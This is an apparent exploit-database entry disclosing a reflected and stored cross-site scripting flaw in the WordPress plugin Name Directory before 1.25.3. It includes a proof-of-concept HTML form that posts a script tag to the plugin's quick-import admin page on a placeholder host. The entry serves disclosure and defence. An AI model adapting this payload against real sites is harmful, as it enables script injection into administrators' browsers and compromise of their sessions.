Lucene search

K
wpexploitDonato Di PasqualeWPEX-ID:3014540C-21B3-481C-83A1-CE3017151AF4
HistoryJul 04, 2022 - 12:00 a.m.

Name Directory < 1.25.3 - Reflected Cross-Site Scripting

2022-07-0400:00:00
Donato Di Pasquale
88
cross-site scripting
reflected
form action
hidden input
submit button
exploit

EPSS

0.001

Percentile

34.0%

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting. Furthermore, as the payload is also saved into the database after the request, it leads to a Stored XSS as well

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=name-directory&sub=quick-import" method="POST">
      <input type="hidden" name="mode" value="new" />
      <input type="hidden" name="name" value="<script>alert(/XSS/)</script>" />
      <input type="hidden" name="submit" value="Next step" />
      <input type="submit" value="Submit"/>
    </form>
  </body>
</html>

EPSS

0.001

Percentile

34.0%

Related for WPEX-ID:3014540C-21B3-481C-83A1-CE3017151AF4